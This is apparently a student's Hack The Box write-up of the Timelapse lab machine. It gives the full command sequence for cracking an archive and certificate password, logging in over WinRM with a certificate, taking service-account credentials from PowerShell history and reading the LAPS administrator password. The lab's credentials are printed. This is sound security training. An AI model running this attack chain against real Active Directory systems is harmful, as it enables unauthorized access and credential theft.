Link: https://app.hackthebox.com/machines/Timelapse

Recon

Using script session_1.log to save terminal output to a log for review. I also modified my .zshrc to include timestamps after running a command.

$ nmap -sSV -p- 10.129.49.76 -oA init_nmap
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 20:32 -0400
Stats: 0:03:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 72.22% done; ETC: 20:35 (0:00:21 remaining)
Nmap scan report for 10.129.49.76
Host is up (0.037s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-08-28 08:33:57Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/wsmans?
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49695/tcp open  msrpc             Microsoft Windows RPC
49843/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

ldap

  • requires bind (creds) to operate return results

smb

  • Shares directory, -U '' fails, -U 'anonymous'
  • two shares, Dev, HelpDesk. used mget * to retrieve all
    • Dev contains winrm_backup.zip
      • encrypted with legacyy_pfx inside. zip2john to save the hash
    • Helpdesk contains several files for LAPS, assumming this is the local admin password service that rotates admin passwords.
$ zip2john winrm_backup.zip > zip.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash --format=PKZIP

Password is supremelegacy

$ unzip winrm_backup.zip
$ pfx2john legacyy_dev_auth.pfx > pfx.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash

Now we have a new password, thuglegacy. Let's extract the key and cert from the pfx.

Initial Access

# I used the thuglegacy as the pem passphrase again
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacy.key 
$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacy.crt
# now with these, we can use it for winrm
$ evil-winrm -i 10.129.49.76 -S -c legacy.crt -k legacy.key

We get a shell as legacyy, the user.txt is found on their Desktop.

Up a dir in Users, we see svc_deploy, TRX and Administrator.

The PS command history is saved to a file and it contains another password:

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PsReadLine> more ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Back on our attack box, these creds work for further AD enumeration:

$ nxc ldap 10.129.49.76 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' --users

$ nxc ldap 10.129.49.76 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
LAPS        10.129.49.76    389    DC01             [*] Getting LAPS Passwords
LAPS        10.129.49.76    389    DC01             Computer:DC01$ User:                Password:YCgidwU0tq,/u3++xDZ0#WI}

Priv Esc

With this, we can get admin

$ evil-winrm -i 10.129.49.76 -S -u Administrator -p 'YCgidwU0tq,/u3++xDZ0#WI}'

And the flag is on the desktop for TRX!

Conclusion

I learned about PFX files and that they could be used to connect via WinRM. I also learned about an easy way to query for the LAPS password, and how to use that to gain local system admin.

This also marks the first time I have used script to log my full terminal session to help capture my successes (and failures) through the test, for use in writing a report later. One of my next challenges will be to work more on the report writing side for my OSCP!